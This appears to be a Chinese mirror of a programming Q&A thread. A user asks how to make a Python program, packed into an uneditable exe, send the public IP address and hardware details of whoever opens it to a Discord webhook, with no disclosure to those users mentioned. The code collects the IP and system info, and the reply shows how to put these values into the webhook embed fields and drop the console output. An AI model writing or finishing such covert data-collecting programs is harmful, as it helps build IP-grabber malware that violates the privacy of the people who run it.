从python发布到discord webhook

2024-04-16 20:02:19 发布

您现在位置:Python中文网/ 问答频道 /正文

转载由于基本上没有人观看

我目前正在开发一个python程序,我正在寻找将用户计算机数据发送到discord webhook的用户,其想法是,当用户打开程序时,计算机的硬件信息将发送到webhook,它还将发送他们的公共IP地址,在我有程序完成后,它将被转换为一个exe使用pyinstaller,这样人们可以打开它,但他们将无法编辑它。请查看我在下面尝试的代码,如果有人可以编辑/更改代码,使其能够工作,并成功地将用户数据发送到webhook,这将是一个巨大的帮助!谢谢

我从https://pypi.org/project/discord-webhook/中获取了不和谐的webhook文本

#getting system info
ip = get('https://api.ipify.org').text
print('Ip address=: {}'.format(ip))
print("="*40, "System Information", "="*40)
uname = platform.uname()
print(f"System: {uname.system}")
print(f"Node Name: {uname.node}")
print(f"Release: {uname.release}")
print(f"Version: {uname.version}")
print(f"Machine: {uname.machine}")
print(f"Processor: {uname.processor}")
#Discord webhook stuff
from discord_webhook import DiscordWebhook, DiscordEmbed

webhook = DiscordWebhook(url="your webhook url", username="New Webhook Username")

embed = DiscordEmbed(
    title="Embed Title", description="Your Embed Description", color=242424
)
embed.set_author(
    name="Author Name",
    url="https://github.com/lovvskillz",
    icon_url="https://avatars0.githubusercontent.com/u/14542790",
)
embed.set_footer(text="Embed Footer Text")
embed.set_timestamp()
# Set `inline=False` for the embed field to occupy the whole line
embed.add_embed_field(name="System", value="Lorem ipsum", inline=False)
embed.add_embed_field(name="Name", value="dolor sit", inline=False)
embed.add_embed_field(name="Version", value="amet consetetur")
embed.add_embed_field(name="Processor", value="sadipscing elitr")

webhook.add_embed(embed)
response = webhook.execute()
The system info bit works fine on its own it prints out all the info that you can see, the tricky part is the Discord section as im stuck on how to send the system data over to the discord webhook rather than it just printing out into the console.

任何帮助都会很好

谢谢,奥利弗

(我已经删除了任何信息,比如我用来阻止人们登录的discord webhook)


Tags: the用户namehttps程序addurlfield
1条回答
网友
1楼 · 发布于 2024-04-16 20:02:19

您只需删除(或在打印行前添加#注释)打印行,即可停止脚本在控制台上打印信息

要在webhook中发布信息,可以在webhook的value字段中设置print语句中的值。例如:

 embed.add_embed_field(name="System", value=f"{uname.system}", inline=False)

相关问题 更多 >